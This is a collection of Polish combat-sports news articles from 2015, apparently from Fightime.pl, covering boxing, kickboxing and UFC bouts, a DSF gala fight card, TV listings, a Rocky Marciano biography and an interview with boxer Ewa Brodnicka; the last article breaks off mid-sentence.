Zapraszamy na konferencję prasową przed Galą DSF Kickboxing Challenge, która odbędzie się w sobotę 28 lutego w Piasecznie.
[kod]
Zapraszamy na konferencję prasową przed Galą DSF Kickboxing Challenge, która odbędzie się w sobotę 28 lutego w Piasecznie.
[kod]
Krzysztof „Diablo” Włodarczyk czeka na rewanżową walkę z Grigorijem Drozdem, w której będzie starał się odzyskać tytuł mistrza świata WBC kategorii junior ciężkiej. Polski bokser pas utracił we wrześniu ubiegłego roku.
Walka z Drozdem w Moskwie była w wykonaniu Diablo po prostu słaba. Rosjanin kontrolował pojedynek, był szybszy i zdecydowany, a co najważniejsze – skuteczny. Z kolei Diablo wyglądał na zagubionego, nie miał pomysłu na walkę. Sędziowie wskazali nowego mistrza – Drozda. Rosjanin świetnie taktycznie zaplanował pojedynek i osiągnął cel jakim było zdobycie mistrzowskiego pasa WBC. Włodarczyk musiał pogodzić się z porażką, dotkliwą porażką.
Cios dla Diablo tym bardziej bolesny, gdyż dzierżył pas w swoich dłoniach przez cztery lata. Toczył dramatyczne boje, z Greenem czy Fragomenim, z których wychodził zwycięsko. Stawiał czoła kolejnym wyzwaniom i jako jedyny polski bokser cieszył się z posiadania mistrzostwa świata. Jednak we wrześniu 2014 roku w Moskwie obecny był inny Włodarczyk. Mało zdecydowany, wolny i niepotrafiący znaleźć sposobu na rywala. Drozd dosłownie tańczył w ringu i punktował Polaka. Włodarczyk ma nadzieję, że w rewanżowym starciu, które odbędzie się 22 maja, zwycięży. Pas ma wrócić we właściwe ręce.
Kwestią fundamentalną jest forma Włodarczyka. Polski bokser na początku lutego wrócił do treningów po kontuzji barku. Po długiej przerwie „Diablo” rozpoczął przygotowania do kolejnej walki. Trenuje codziennie – na siłowni i w ringu. Ma ponad dwa miesiące na odbudowanie formy, rozpracowanie rywala i perfekcyjnie przygotowanie się do pojedynku. Choć zna przeciwnika to musi znaleźć na niego sposób. Drozd jest rywalem w zasięgu Włodarczyka, nie można powiedzieć, że jest lepszy. „Diablo” w dobrej dyspozycji jest faworytem w starciu z Rosjaninem, jednak musi to być „stary, dobry Diablo”. Powtórka z września nie może mieć miejsca. Włodarczyk wie, o co toczy się gra. Najistotniejszy jest pas mistrza świata WBC, który należał do niego kilka lat i jest powodem do dumy, a także świadczy o poziomie boksera. Tytuł to jedno, z drugiej strony walka sięga głębiej. Porażka jest niedopuszczalna, gdyż sprawi, że „Diablo” może stracić szansę na boksowanie na najwyższym poziomie. Z pewnością Polak jest tego świadom, ale podejmuje wyzwanie. Wierzy w swoje siły i nie dopuszcza do siebie myśli o porażce. Włodarczyk jest skoncentrowany na odzyskaniu mistrzowskiego pasa. Ma świadomość, że najlepszym rozwiązaniem w starciu z Drozdem będzie nokaut, żadne kalkulacje nie wchodzą w grę.
„Diablo” musi odbudować się fizycznie, ale również psychicznie. Nie ulega wątpliwości, że wpływ na formę boksera mają jego problemy osobiste. Najistotniejsze jest, że pięściarstwo nadal jest priorytetem dla Włodarczyka. Polski bokser chce odzyskać pas i wierzy, że jego kariera będzie się rozwijała. Oby tak było. 22 maja w starciu z Drozdem będzie miał okazję udowodnić, że wrześniowa porażka była tylko wypadkiem przy pracy.
KM
Gala DSF Kickboxing Challenge 2 dostarczyła wielu emocji i wrażeń, więc organizator Sławomir Duba nie poprzestał na tym. Już 28 lutego w Piasecznie kolejna odsłona zmagań w sporcie uderzanym na najwyższym poziomie. Podczas DSF Kickboxing Challenge 3 zaprezentują się m.in. Dorota Godzina i Łukasz Wichowski.
Szczególny wymiar gala będzie miała dla młodzieżowego międzynarodowego mistrza Polski w full-contact. Wichowski trenuje w klubie X-Fight Piaseczno i z pewnością może liczyć na wsparcie z trybun. Będzie niezwykle potrzebne, gdyż jego rywalem będzie Piotr Kołakowski – wicemistrz Polski full-contact. Zapowiada się pojedynek na najwyższym poziomie, gdyż żaden z fighterów nie zamierza „tanio sprzedać skóry”. Stawką rywalizacji będzie mistrzowski pas DSF Challenge. Kołakowski śledząc występy Wichowskiego wie, że ma się, czego obawiać. Zawodnik z Piaseczna podczas poprzedniej gali DSF rozprawił się ze Słowakiem Tomasem Neupauerem. Wichowski nie miał litości dla rywala, który trzykrotnie lądował na deskach.
W Piasecznie dojdzie do starcia Kamila Ruty z Mateuszem Żukowskim w K-1 rules. Będzie to finał czteroosobowego turnieju, który swoją pierwszą odsłonę miał w Ząbkach. W półfinale Żukowski wypunktował Jakub Bartnika w bardzo widowiskowej walce. Fighterzy nie szczędzili sobie mocnych ciosów, co było bardzo widowiskowe. Decyzją sędziów 3:0 wygrał Żukowski. Kamil Ruta szybko znokautował Łukasza Adamskiego. Mistrz świata w kick-light będzie faworytem rywalizacji, jednak Żukowskiemu nie można odmówić serca do walki oraz charakteru. Ruta stanie przed trudnym wyzwaniem.
Dziesiątą walkę w karierze stoczy Dorota Godzina, która stanie „oko w oko” z Gabrielą Bednarowicz. Pojedynek kobiet z pewnością dostarczy wielu emocji, gdyż walki pań charakteryzują się niezwykłą zaciętością. Bednarowicz jest srebrną medalistką Pucharu Polski 2014 i w Piasecznie będzie chciała „utrzeć nosa” Godzinie. Zawodniczka DSF Kickboxing Team jest niepokonana i zamierza podtrzymać tę passę. Podczas DSF Challenge 2 Godzina pokonała EwelinęNowosielską , zdobywając tytuł zawodowej mistrzyni Mazowsza K-1 w kategorii 56 kg.
Walkę Łukasza Adamskiego i Jakuba Bartnika można okrzyknąć mianem pojedynku o brązowy medal. Zawodnicy staną do rywalizacji jako przegrani czteroosobowego turnieju K-1, jednak z pewnością dadzą ciekawy pokaz. W Piasecznie zaprezentują się również m.in. Lech Rosiński czy Maciej Garbaczewski. Walkę w formule K-1 70 kg stoczą Paulina Frankowska oraz Katarzyna Jaworska.
Trzon kolejnej gali grupy DSF oparty jest na Łukaszu Wichowskim oraz Dorocie Godzinie, którzy stanowią swego rodzaju kręgosłup teamu. W Ząbkach zaprezentowali wysoki poziom i w Piasecznie wszyscy liczą na kontynuację widowiskowości, efektywności oraz potężną dawkę emocji. Wichowskiego czeka trudne wyzwanie, gdyż Kołakowski jest wymagającym rywalem. Dodatkowym „smaczkiem” rywalizacji jest stawka pojedynku, czyli pas mistrzowski. Organizatorzy zaplanowali dla widzów atrakcje muzyczne, grę świateł, a przede wszystkim – emocje sportowe na najwyższym poziomie.
Zapraszamy do śledzenia gali DSFKickboxing Challenge 3 NA ŻYWO na antenie Fightime.pl. Początek gali 28 lutego 2015 roku o godzinie 19:00 w Piasecznie przy ulicy Sikorskiego 20.
KARTA WALK:
Walka wieczoru o pas DSF Challenge:
1. Formuła Full Contact kat. – 81kg: Łukasz Wichowski (DSF Kickboxing Team) vs. Piotr Kołakowski (Zamek Kurzętnik)
Finał turnieju K-1 kat. -81 kg:
2. Formuła K-1 kat. -81kg: Kamil Ruta (DSF Kickboxing Team) vs. Mateusz Żukowski (Terlik Team Mikołajki)
Extrafight:
3. Formuła K-1 kat. -56kg: Dorota Godzina (DSF Kickboxing Team) vs. Gabriela Bednarowicz (SKK-b Kielce)
Walki rankingowe Pro-am:
4. Formuła K-1 kat. -81kg: Jakub Bartnik vs. Sebastian Adamski
5. Formuła K-1 kat. -75kg: Mark Kołłątaj vs. Daniel Kolasiński
6. Formuła K-1 kat. -70kg: Maciej Garbaczewski vs. Adrian Kulma
7. Formuła K-1 kat. -75kg: Lech Rosiński vs. Sebastian Prokop
8. Formuła K-1 kat. -70kg: Paulina Frankowska vs. Katarzyna Jaworska
9. Formuła K-1 kat. -67kg: Karol Sadłocha vs. Paweł Nowakowski
KM
Ustalenia między stronami, niuanse, podział zysków, miejsce, data – to wszystko jest jużzamknięte. Pewien etap sagi został zakończony. Floyd Mayweather Jr i Manny Pacquiao staną naprzeciw siebie w Las Vegas 2 maja. Wydaje się, że ta informacja była najważniejsza. Temat pojawił się i historia rozpoczęła bieg, w którym istotnym punktem podpisanie kontraktu.
W tym momencie dyskusja wchodzi na tory czysto sportowe. Czy na pewno? Przypadek walki Mayweathera i Pacquiao jest wyjątkowy. To ogromny biznes, wielkie pieniądze – pojedynek o fortunę. Jednakże długo pompowany balon nabiera jeszcze większych rozmiarów, a do walki nieco ponad dwa miesiące. Istotne, aby bokserzy dostosowali poziom widowiska sportowego do wytworzonego wokół pojedynku napięcia. Niemożliwe wydaje się, żeby pojedynek na płaszczyźnie sportowej był niewypałem. Z drugiej strony oczekiwania opinii są ogromne. Widzów nie zadowoli widok samych gwiazd, lecz ich zaangażowanie, wymiana ciosów i otwarta walka. Mayweather i Pacquiao staną w ringu jako autorzy jednego z największych wydarzeń sportowych XXI wieku. Oczekiwania są wielkie, ale gdzieś z tyłu głowy trzeba pamiętać, że zwyciężyć może asekuracja. Czy w tym wypadku? Szybki i pracowity jak mrówka Pacquiao walki unikał nie będzie, Mayweather to showman, który zrobi wiele, aby zyskać aplauz publiczności.
Zakontraktowanie pojedynku Moneya i Pacmana było wielkim wydarzeniem w świecie boksu. Ten etap już za nami. Teraz na afisz wchodzi aspekt sportowy. Ostatnimi czasy walki zapowiadane jako wielkie rozczarowują. Wyjątkiem z pewnością był pojedynek Stiverne – Wilder. Najważniejsze, aby 2 maja Mayweather i Pacquiao mieli w sobie sportową złość, agresję i zawzięcie, które przerodzą się w wartościowy pojedynek pięściarski. Zabiegi marketingowe, przygotowanie show oraz sprzedaż pojedynku to istotne elementy na drodze do realizacji planu osiągnięcia sukcesu, jednakże w wymiarze biznesowym, tudzież finansowym. Dla publiczności i obserwatorów wartością będzie sam pojedynek. Ten drugi etap sagi nie może zawieść, gdyż będzie miał wpływ na obraz całości. Dodatkiem do rywalizacji będzie fakt, że organizacja WBC chce ufundować specjalny tytuł mistrzowski na ten pojedynek.
Defensywny Mayweather kontra ofensywny Pacquiao. Aktywność Pacmana może być tym czynnikiem, który sprawi, że walka będzie interesująca. Mayweather jest ostrożny i uważny, ale nie może pozostać niewzruszony na zabiegi rywala, a Pacquiao z pewnością będzie niezwykle zmotywowany do tego starcia. Według wielkiego mistrza wagi ciężkiego Lennoxa Lewisa minimalnym faworytem pojedynku będzie Money. – Mayweather ma wyjątkowy talent i predyspozycje do wygrywania, dlatego też będzie minimalnym faworytem. Z kolei Pacquiao jest niezwykle ambitny i ma ogromne serce do walki. Nie można go skreślać, gdyż nie raz pokazał w ringu, że potrafi wychodzić z trudnych opresji – powiedział Lewis. Kluczem do sukcesu pojedynku będzie jego atrakcyjność. Czy pięściarze nie zawiodą? Jeden z nich znajdzie się na tronie, ale najpierw muszą stoczyć wojnę, aby zająć pozycję króla bokserskiego imperium.
KM
Wojciech Kosowski, wybitny zawodnik kickboxingu, będzie jedną z gwiazd gali Fighters Night 3, która odbędzie się 28 lutego podczas obchodów 25-lecia Polskiego Związku Kickboxingu.
Reprezentant warszawskiej Palestry w limicie wagowym do 75 kg zmierzy się ze Słowakiem Miroslawem Smolarem. Fighterzy nigdy wcześniej nie mieli okazji się spotkać, choć występowali razem podczas Pucharów Świata w Szeged. Kosowski podkreśla, że Smolar będzie niewygodnym przeciwnikiem. – Nigdy nie miałem okazji spotkać się w ringu z tym zawodnikiem. Żadnego przeciwnika nie można lekceważyć. Na pewno nie będzie wygodnym dla mnie oponentem. Jest ruchliwy, skoczny, wydaje się nawet chaotyczny, co powoduje, że jest bardziej nieprzewidywalny i niebezpieczny – powiedział nam mistrz świata Pro-Am w tajskim boksie z 2014 roku. Kosowski będzie rywalizował ze Smolarem w K-1, jednak preferowałby walkę w innej odsłonie. – Zdecydowanie wolałbym konfrontację z nim na zasadach muay thai z dopuszczalnym klinczem. W K-1 rules mimo, że jest mniej utytułowany ode mnie, to szanse są wyrównane.
Kosowski wystąpi w Kielcach podczas obchodów 25-lecia Polskiego Związku Kickboxingu. Okazja do świętowania, a zarazem dokonywania analiz i wyciągania wniosków. PZKb wspiera zawodników w rozwoju ich karier, zarówno na płaszczyźnie sportowej jak i finansowej. Kickboxing stopniowo rozwija się w Polsce, choć jego popularność jest nadal skromna. Mimo to historia dyscypliny jest bogata i mamy wielu utytułowanych fighterów. – Polski Związek Kickboxingu to związek z tradycjami. Trwale rozwija się od 1989 roku. Wiele osób kojarzy go z legendami kickboxingu, takimi jak sam Marek Piotrowski, Przemysław Saleta, Józef Warchoł, Piotr Siegoczyński, Bogdan Sawicki oraz trenerem kadry z tamtych lat, a obecnym prezesem PZKB Andrzejem Palaczem – wyliczał Kosowski. Obecnie Polska może poszczycić się również wybitnymi zawodnikami. Najwyższe z możliwych umiejętności charakteryzują Kosowskiego, Głogowskiego, Parchetę czy Jędrzejczyka. Dodatkowo mamy wielu zawodników z potencjałem, którzy odnoszą sukcesy m.in. Kamila Rutę, Jerzego Wrońskiego czy Łukasza Wichowskiego. Zawodnik Palestry dodał, że na przestrzeni lat doszło do istotnej zmiany. – Teraz czas by ludzie zapoznali się z "nowym kickboxingiem", który zyskuje coraz większą popularność na świecie, czyli K-1 rules – mówił nam Kosowski. Z pewnością jest to istotne na płaszczyźnie widowiskowości dyscypliny i dostarczania widzom dodatkowych wrażeń.
30-letni Kosowski to wybitny zawodnik, który zdobywał medale na mistrzostwach świata i Europy, Pucharach Świata oraz na polu krajowym. Jednakże najlepszy okres w jego karierze to lata 2006-2007. W Bangkoku sięgnął po brązowy medal mistrzostw świata, a w Vigo po brąz mistrzostw Europy w muay thai WMF. Ponadto, wygrywał rankingi PZKb i zdobył Puchar Świata w Szeged. Na szczyt wrócił w 2010 roku, kiedy po raz kolejny zachwycał formą i gromił kolejnych rywali. Ostatnim sukcesem Kosowskiego jest mistrzostwo świata Pro-Am w tajskim boksie 2014. Obecnie poświęca swoją uwagę treningom personalnym, z których czerpie satysfakcję. Kosowski ma plany powrotu na szczyt, jednak w tym roku nie wystąpi w mistrzostwach świata. – Na razie nie wybiegam zbyt w przyszłość. Po najbliższej walce zdecyduję, co dalej. Pewne jest to, że nie jadę w tym roku na MŚ Muay Thai WMF – zdradził nam Kosowski. Utytułowany zawodnik z pewnością stoczy jeszcze wiele widowiskowych walk w muay thai. Liczymy na kolejne medale przywiezione z mistrzowskich imprez przez Kosowskiego. Jak sam mówi wszystko jest w jego rękach. – Jeśli chcę nadal zdobywać najwyższe trofea jako zawodnik, to teraz czas na kolejny rozwój i powrót do formy z lat 2006- 2007 oraz 2010.
KM
Na UFC 188 w Mexico City dojdzie do pojedynku Caina Velasqueza z Fabrizio Werdumem. Starcie długo wyczekiwane wreszcie stanie się faktem. Fighterzy mieli spotkać się podczas UFC 180, jednak kontuzja kolana uniemożliwiła występ Velasqueza.
Pojedynek będzie walką wieczoru podczas gali UFC 188, która odbędzie się 13 czerwca. Fani mieszanych sztuk walki długo musieli czekać na ten pojedynek, ale z pewnością nie zawiodą się. Velasquez jest mistrzem wagi ciężkiej. Tytuł wywalczył w październiku 2010 roku podczas UFC 121 w rywalizacji z Brookiem Lesnarem. Mistrzowskim pasem nie cieszył się długo, gdyż w kolejnej walce przegrał z Juniorem Dos Santosem. Od tego momentu zaczęła się tworzyć elektryzująca historia. Fighterzy spotkali się jeszcze dwa razy. Velasquez odzyskał tytuł. W grudniu 2012 roku podczas UFC 155 pokonał jednogłośnie na punkty Brazylijczyka, którego zdominował całkowicie w parterze i stójce. Podczas UFC 166 Amerykanin perfekcyjnie zakończył trylogię starć z Dos Santosem. Ciosami pięściami pozbawił Brazylijczyka złudzeń i nadal dzierży w swoich dłoniach pas mistrza wagi ciężkiej. Właśnie pojedynek z Dos Santosem był ostatnią walką Amerykanina, a miała ona miejsce w październiku 2013 roku. Tym samym Velasquez wraca do oktagonu po blisko dwudziestu miesiącach przerwy. Na UFC 180 nie wystąpił w powodu kontuzji kolana. Wtedy Amerykanina zastąpił Mark Hunt, z którym Werdum poradził sobie już w drugiej rundzie. Brazylijczyk jest w dobrej dyspozycji i idzie drogą zwycięstw – odniósł pięć kolejnych wygranych. Ostatnią porażkę zanotował w 2011 roku w starciu z Alistairem Overeemem. Pojedynek Velasquez – Werdum długo wyczekiwany z pewnością będzie widowiskiem na odpowiednim poziomie. Spotkają się zawodnicy prezentujący najwyższy poziom umiejętności. Kwestią fundamentalną jest – jak po takiej przerwie poradzi sobie Velasquez.
Drugą wieczoru walką podczas UFC 188 będzie starcie Gilberta Melendeza z Eddiem Alvarezem. Dla obu fighterów jest to szansa na polepszenie swojego bilansu w UFC. Melendez do tej pory w barwach najlepszej organizacji mieszanych sztuk walki stoczył trzy walki – jedną wygrał, dwie przegrał. Z kolei Alvarez zadebiutował podczas UFC 178 w starciu z Donaldem Cerronem. Były mistrz Bellatora przegrał, ale w oczach wielu pozostaje kandydatem do zawojowania wagi lekkiej.
Organizacja oferuje interesujące walki i pracuje nad poprawą własnego położenia, gdyż wizerunek UFC ucierpiał. Od początku roku zmaga się ze skandalami dopingowymi. Na stosowaniu niedozwolonych środków przyłapano m.in. Andersona Silvę, Nicka Diaza czy Jona Jonesa. Coraz częściej słychać głosy, że UFC jest „skażone” i stosowanie dopingu przez zawodników jest powszechne. Według Komisji Sportowej Stanu Kalifornia tak nie jest. – Nawet przy testach przeprowadzanych w czasie „po gali” przyłapano na tym procederze tylko kilka osób, co stanowi od 30 – do 38 procent wszystkich zawodników. Rzecz jasna, że stosowanie dopingu to problem, jednak nie uczestniczy w nim 90% środowiska – powiedział dyrektor Komisji Andy Foster.
KM
W najbliższy weekend telewizja FightKlub przygotowała dla widzów sporą dawkę emocji. Stacja pokaże, aż trzy gale na żywo w tym jedną o mistrzostwo świata w kategorii super koguciej.
Weekend z boksem na żywo telewizja FightKlub rozpocznie w nocy z piątku na sobotę o godzinie 03:00, transmisją z gali ESPN Friday Night Fights. W głównej walce zobaczymy Cletusa Seldina i Johnnego Garcię. W tym dziesięciorundowym pojedynku w Paramount Theatre w Huntington, niepokonany na zawodowych ringach 28-letni Seldin zmierzy się ze starszym od siebie o cztery lata Garcią. Seldin w swoim ostatnim pojedynku, w grudniu ubiegłego roku, pokonał przez nokaut w dziewiątej rundzie Bayana Jargala i zdobył wakujący pas WBC International Silver w wadze superlekkiej. Jak będzie tym razem dowiemy się już w najbliższą sobotę. Powtórka gali o godzinie 12:00.
Tej samej nocy po walce ESPN FightKlub pokaże na żywo gale z cyklu Golden Boy (powtórka w sobotę o godzinie 14:00). Główną atrakcją wieczoru w Kalifornii będzie meksykańsko-dominikańska walka w kategorii półśredniej. Były mistrz świata federacji WBA Pablo Cesar Cano skrzyżuje rękawice z mistrzem nokautu Juanem Carlosem Abreu.
Zwieńczeniem weekendu z boksem na żywo w telewizji FightKlub będzie mistrzowskie starcie w trakcie gali w Belfaście. Głównym wydarzeniem będzie pojedynek Carla Framptona z Chrisem Avalosem o mistrzostwo świata IBF w kategorii super koguciej. Transmisja w sobotę od godziny 21:30. Powtórka w niedzielę o 12:00.
Amerykanin przystępuje do tego pojedynku z pozycji oficjalnego pretendenta do pasa International Boxing Federation. 28-letni Irlandczyk tytuł IBF wywalczył we wrześniu ubiegłego roku, wygrywając wysoko na punkty z Kiko Martinezem. Całą galę na żywo pokaże wyłącznie stacja FightKlub.
[kod]
Źródło: materiały prasowe
Amerykański bokser urodzony 1 września 1923 roku w Brocton, zmarł 31 sierpnia 1969 roku. Jest jedynym niepokonanym mistrzem świata wagi ciężkiej. Jego bokserska kariera trwała 10 lat. Jako półtoraroczne dziecko ledwo przeżył ciężkie zapalenie płuc. Będąc nastolatkiem aktywnie uprawiał sport min. Baseball i football amerykański. Swoją edukację zakończył na 10 klasie szkoły średniej, po czym głownie pracował fizycznie. W marcu 1943 roku został powołany do wojska. Został przydzielony do 150 Brygady Saperów. W 1944 roku został wysłany do Walii gdzie zajmował się załadunkiem okrętów pływających z dostawami dla wojsk Alianckich walczących we Francji. Po kilku miesiącach wysłano go z powrotem do ojczyzny, do Fort Lewis, gdzie oczekiwał przerzutu na Pacyfik. Wojna jednak się skończyła, a Rockyemu pozostał jeszcze rok służby. Aby dać upust swojej energii zaczął startować w organizowanych przez wojsko turniejach bokserskich. Krępy, ale obdarzony niezwykłą siłą ciosu Marchegiano wkrótce stał się postrachem innych współzawodników. W kwietniu 1946 roku otrzymał przepustkę, podczas której stoczył pierwszą oficjalną amatorską walkę. Jego rywalem był utytułowany Henry Lester. Lester górujący nad rywalem techniką i doświadczeniem kontrolował przebieg walki. W trzeciej rundzie Lester został umyślnie kopnięty kolanem w krocze. Walka zakończyła się skandalem i dyskwalifikacją Marchegiano. Ta porażka zniechęciła go do dalszego uprawiania boksu. Przytył, zaczął nadużywać alkoholu i palił dwie paczki papierosów dziennie. Wkrótce po powrocie do Fort Lewis, dzięki namowom znajomych wznowił treningi i rzucił używki. Wziął udział w organizowanym przez Amateur Athletic Union turnieju bokserskim. Chociaż wygrał dwie pierwsze walki przez nokaut w pierwszej rundzie, doznał poważnej kontuzji lewej dłoni. W trzeciej walce walczył jedną ręką. Przegrał i poddał się skomplikowanej operacji, po której lekarze odradzili mu powrót do boksu. W lecie 1946 roku został zdemobilizowany. Po powrocie do Brockton chciał spełnić swoje dziecięce marzenie i zostać profesjonalnym baseballistą. Zapisał się do miejscowej półamatorskiej drużyny Taunton Lumber Team. W 1947 roku był na trzytygodniowych testach w filialnej drużynie Chicago Cubs, ale uznano go za nieprzydatnego. Zdesperowany Marchegiano powrócił do tego co wychodziło najlepiej czyli boksu. Treningi wznowił pod okiem swojego przyjaciela Allie Colombo.17 marca 1947 roku stoczył swoją pierwszą profesjonalną walkę. Jego rywalem był Lee Epperson. Aby ukryć ten fakt przed matką, która nie chciała żeby został zawodowym pięściarzem, wystąpił pod pseudonimem Rocky Mack. Wygrał przez nokaut w trzeciej rundzie inkasując za wygraną 35 dolarów. Następnie zdecydował się na nietypowy ruch i powrócił do walka amatorskich. W lutym 1948 roku został mistrzem Nowej Anglii, którą reprezentował na turnieju Golden Glove w Nowym Jorku. Walczył tam z Colley Wallecem. Według większości obserwatorów walkę wygrał, jednak sędziowie byli innego zdania. Była to ostatnia kontrowersyjna porażka w jego karierze. Wkrótce potem wziął udział w regionalnym turnieju eliminacyjnym do Igrzysk Olimpijskich w Londynie. W finale pokonał George’a McGinnisa, ale doznał kontuzji kciuka, która wyeliminowała go z kadry. Była to jego ostatnia walka w amatorskiej karierze. Eksperci nie wróżyli mu wielkiej kariery. Uważali ze jest za stary, za niski, za lekki i ze słabą techniką. Nad poprawieniem techniki pracował z nim nowy trener Charley Goldman. Szczególny nacisk położył na pracę nóg i balans oraz uderzenia lewą ręką. Nauczył też walczyć Rocky’ego z charakterystycznego przysiadu. Jego managerem został Al Weill. To on namówił Marchegiano, aby zaczął walczyć pod pseudonimem Rocky Marciano. Następnych 14 walk Rocky wygrał przed czasem. Pierwszym bokserem który był w stanie przetrwać do ostatniej rundy był Don Mogard, który w maju 1949 roku przegrał przez decyzję po 10 rundach. Rok 1949 Rocky zakończył jako niepokonany w 23 walkach. Dzięki ponadprzeciętnej odporności na ciosy i ból zyskał przydomek „The Rock”. 30 grudnia 1949 roku na słynnym Madison Square Garden, Rocky walczył przeciwko solidnemu Carmine Vingo. Marciano zakończył jego karierę brutalnie nokautując go w szóstej rundzie. Vingo został przewieziony do szpitala ze złamaną podstawą czaszki i wylewem krwi do mózgu. Był w śpiączce i miał sparaliżowaną połowę ciała. Przez siedem dni lekarze walczyli o jego życie. W końcu gdy okazało się że przeżyje, Marciano czując się winny zapłacił 2000 dolarów za hospitalizację i podarował mu kolejne 500 na znalezienie pracy. Po prawie trzech miesiącach Rocky wrócił na ring w pojedynku z najtrudniejszym do tej pory rywalem Rolandem La Starzą. Była to jedyna walka w zawodowej karierze w której był o włos od porażki. Rocky wygrał minimalnie przez niejedno głośną decyzję. Była to również pierwsza walka Rocky’ego transmitowana w telewizji. Marcianio tryumfował w kolejnych 11 pojedynkach. Wśród pokonanych był Rex Layne. Nokautując Layne’a Marciano stał się jednym z głównych pretendentów do mistrzostwa świata. Pojedynek o pas mistrzowski jednak się oddalił po tym jak Ezzard Charles stracił tytuł na rzecz pretendenta numer jeden Jersey Joe Wallcota. Oznaczało to że najpierw dojdzie do rewanżowej walki pomiędzy tymi bokserami. Najbliższym rywalem Marciano był były mistrz świata Joe Louis. Walka ta odbyła się 26 października 1951 roku w Madison Square Garden. Marciano znokautował swojego rywala w ósmej rundzie. Przed walką o tytuł mistrza świata, Rocky musiał stoczyć jeszcze walkę przeciwko doświadczonemu „Kidowi” Matthewsowi. Rocky szybko pokonał swojego rywala nokautując go w drugiej rundzie. Do walki o mistrzostwo świata z Wallcotem doszło 23 września 1952 roku na Municipal Stadium w Filadelfii. Ponad 40000 tysięcy widzów było świadkami brutalnego pojedynku. Rocku był liczony po raz pierwszy w swojej karierze. Mistrz ponawiał ataki w kolejnych rundach zdobywając przewagę. Dopiero w dalszej części walki Rocky zdołał zniwelować nieco przewagę mistrza. Starcie było bardzo brutalne. Obaj zawodnicy byli cali we krwi. Rocky miał ranę na czole a Wallcot rozcięty łuk brwiowy. Sekundanci obu pięściarzy zużyli więc dużą ilość żrącej maści zasklepiającej rozcięcia zwanej popularnie „ Dynamitem”. Prawdopodobnie substancja ta dostała się do oczu Rocky’ego, powodując częściową ślepotę miedzy 7 a 10 rundą, kiedy to Wallcot bezkarnie trafiał pretendenta. Do 13 rundy mistrz miał bezpieczną przewagę punktową. W tym momencie jedyną szansą na wygraną Marciano był nokaut. Rocky zaatakował rywala, lecz ten umiejętnie się bronił. Po 33 sekundach krążenia wokół ringu, Rocky zapędził rywala pod liny. Obaj zadali cios w tym samym momencie, lecz to krótki prawy prosty Rocky’ego dotarł ułamek sekundy szybciej. Mistrz upadł na kolana po czym tracąc przytomność osunął się twarzą na deski. Rocky Marciano został mistrzem świata wagi ciężkiej, inkasując za zwycięstwo 100 000 dolarów. Pierwszy raz Rocky obronił tytuł w rewanżowej walce przeciwko Wallcotowi w maju 1953 roku. Tym razem pojedynek był bardzo krótki. Rocky znokautował rywala w pierwszej rundzie. Następnie Rocky spotkał się po raz drugi z La Starzą. Rywal mistrza wykazał się dobrze zorganizowaną defensywą. Goldman widząc, że Rocky sobie nie radzi ze szczelną gardą , kazał mu obijać jego ramiona i korpus. Taktyka ta okazała się na tyle skuteczna, że w 10 rundzie La Starza nie mógł utrzymać wystarczająco wysoko rękawic. W 11 rundzie nie był w stanie w ogóle się bronić. W końcu po jednym z ciosów wypadł za liny i sędzia przerwał pojedynek. W 1954 roku dwukrotnie obronił tytuł przeciwko byłemu mistrzowi Ezzardowi Charlesowi. W maju 1955 roku znokautował w 9 rundzie mistrza Brytyjskiej Wspólnoty Narodów i Europy Dona Cockella. 21 września 1955 roku na Yankee Stadium w Nowym Jorku w swojej szóstej i ostatniej obronie mistrzowskiego pasa zmierzył się z Archie Moorem. Rocky znokautował rywala w dziewiątej rundzie. 27 kwietnia 1956 roku w wieku 33 lat Rocky Marciano zakończył karierę. Na zawodowym ringu był niepokonany. W Połowie lat 60. odrzucił wartą 2 mln dolarów walkę z Cassiusem Clayem. W dzień przed swoimi 46 urodzinami Rocky zginął w katastrofie lotniczej.
Ewa Brodnicka intensywnie przygotowuje się do kolejnej walki. 14 marca bokserka, która w swoim dorobku posiada Interkontynentalne Mistrzostwo Świata federacji WBF zmierzy się z Węgierką Giną Chamie.
24-latka dobrze radzi sobie na zawodowych ringach. Do tej pory wygrała jedenaście pojedynków i dwa przegrała. Chamie miała okazję dwukrotnie walczyć o mistrzowskie pasy, jednak nie udało jej się odnieść zwycięstwa. W grudniu ubiegłego roku przegrała z Nicole Wesner o wakujący tytuł międzynarodowej mistrzyni świata WBF. Chamie stoczyła dobrą walkę z Ramoną Kuehne o pas WBO, jednak z powodu kontuzji w szóstej rundzie musiała wycofać się z dalszej rywalizacji. 24-letnia zawodniczka pokazała, że ma potencjał i wysokie umiejętności.
Przed Ewą Brodnicką kolejne wyzwanie na jej drodze do mistrzostwa świata. Mistrzyni świata WBF dokonała analizy przeciwniczki i wysoko ocenia jej warsztat. – Myślę, że to ambitna przeciwniczka, młoda i głodna sukcesu. Analizując jej walki widać, iż dobrze porusza się na nogach i zadaje ciosy w różnych płaszczyznach, zarówno w ataku jak i w defensywie – powiedziała Brodnicka w rozmowie z Fightime. Polska mistrzyni rozpoczęła przygotowania do walki pod okiem trenera Krzysztofa Drzazgowskiego. Treningi są intensywne, ale jak zapewnia Brodnicka mają również wartość edukacyjną. – Rozpoczęłam przygotowania do gali od połowy stycznia. Mój trener Krzysztof Drzazgowski wprowadza co jakiś czas różne nowinki treningowe, co nie pozwala na nudę, ale przede wszystkim podnosi moje umiejętności i formę.
Dla Polki walka z Chamie będzie kolejnym punktem na jej drodze do mistrzostwa świata, co Brodnicka wielokrotnie podkreślała. Nasza zawodniczka liczy, że w tym roku uda jej się stoczyć pojedynek o pas. Jedna propozycja mistrzowskiej walki pojawiła się, jednak w wyższej kategorii wagowej. – Jestem gotowa na poważne wyzwania, jednak trzeba to robić w przemyślany sposób. Ostatnio otrzymałam propozycję walki o Mistrzostwo Europy z Ornellą Domini, jednak w wyższej kategorii wagowej. Może nie każdy wie, że walka wyjazdowa rządzi się innymi prawami. Aby wygrać za granicą trzeba po prostu znokautować, aby być w 100% pewnym zwycięstwa. Trudno jest pokusić się o nokaut, kiedy zawodniczka jest dużo cięższa – mówiła nam niepokonana dotąd na zawodowych ringach bokserka. Każdy kolejny pojedynek przybliża Brodnicką do walki o mistrzostwo świata. Polska zawodniczka chciałaby, aby miał on miejsce na polskiej ziemi, ale nie wyklucza wyjazdu do Argentyny. – W tym roku wierzę, że otrzymam szansę zawalczenia o Mistrzostwo Świata innej federacji i moim marzeniem jest wystąpić w Polsce. Jeśli trzeba będzie pojadę do Argentyny, gdzie w mojej kategorii – super lekkiej – w top dziesiątce jest aż siedem Argentynek. Aby być najlepszym trzeba walczyć z najlepszymi – mówiła na temat swoich planów 